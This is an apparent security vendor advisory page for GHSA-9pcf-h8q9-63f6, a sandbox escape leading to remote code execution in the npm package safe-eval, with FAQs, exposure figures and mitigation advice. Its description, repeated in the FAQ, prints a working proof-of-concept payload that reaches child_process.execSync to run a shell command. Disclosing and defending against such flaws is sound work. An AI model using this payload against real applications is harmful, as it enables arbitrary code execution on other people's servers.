How severe is GHSA-9pcf-h8q9-63f6?

No CVSS score has been assigned to GHSA-9pcf-h8q9-63f6 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-9pcf-h8q9-63f6?

GHSA-9pcf-h8q9-63f6 affects the following packages: safe-eval (npm). Ecosystems affected: npm.

How do I fix GHSA-9pcf-h8q9-63f6?

The records we use list no patched version of safe-eval for GHSA-9pcf-h8q9-63f6. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

How do I detect GHSA-9pcf-h8q9-63f6 in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for safe-eval, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate GHSA-9pcf-h8q9-63f6 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Is GHSA-9pcf-h8q9-63f6 actively exploited in the wild?

No public exploit code has been indexed for GHSA-9pcf-h8q9-63f6 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-9pcf-h8q9-63f6 published, and has it been updated?

GHSA-9pcf-h8q9-63f6 was published on September 3, 2020 and was last updated on August 31, 2020. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

Not in CISA KEV

Sandbox Breakout / Arbitrary Code Execution in safe-evalGHSA-9pcf-h8q9-63f6

GHSA-9pcf-h8q9-63f6 is a remote code execution vulnerability in safe-eval. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

Published

Sep 3, 2020

Updated

Aug 31, 2020

Affected

1 pkg

Patched

None yet

Exploits

None indexed

Exploitation data as of Aug 31, 2020 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

224other npm packages depend on this — each one inherits the vulnerability until it's patched upstream

safe-evalnpm

31Kdownloads / week

Description

All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.

For example, the payload

((() => { 
const targetKey = Object.keys(this)[0]; 
Object.defineProperty(this, targetKey, { 
get: function() { 
return arguments.callee.caller.constructor( 
"return global.process.mainModule.require('child_process').execSync('pwd').toString()" 
)(); 
} 
}); 
})();```
may be used to print the `pwd` to the console.


## Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Affected Packages

1 total

Ecosystem	Package	Vulnerable range	Fix
📦npm	`safe-eval`	≥ 0.0.0	No fix

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for safe-eval, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of safe-eval for GHSA-9pcf-h8q9-63f6. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code. For example, the payload ``` ((() => { const targetKey = Object.keys(this)[0]; Object.defineProperty(this, targetKey, { get: function() { return arguments.callee.caller.constructor( "return global.process.mainModule.require('child_process').execSync('pwd').toString()" )(); } }); })();``` may be used to print the `pwd` to the console. ## Recommendation No fix is currently a

O3 Security · Impact-Aware SCA

Is GHSA-9pcf-h8q9-63f6 in your dependencies?

Find it across npm, including transitive dependencies.

Scan my dependencies How O3 SCA works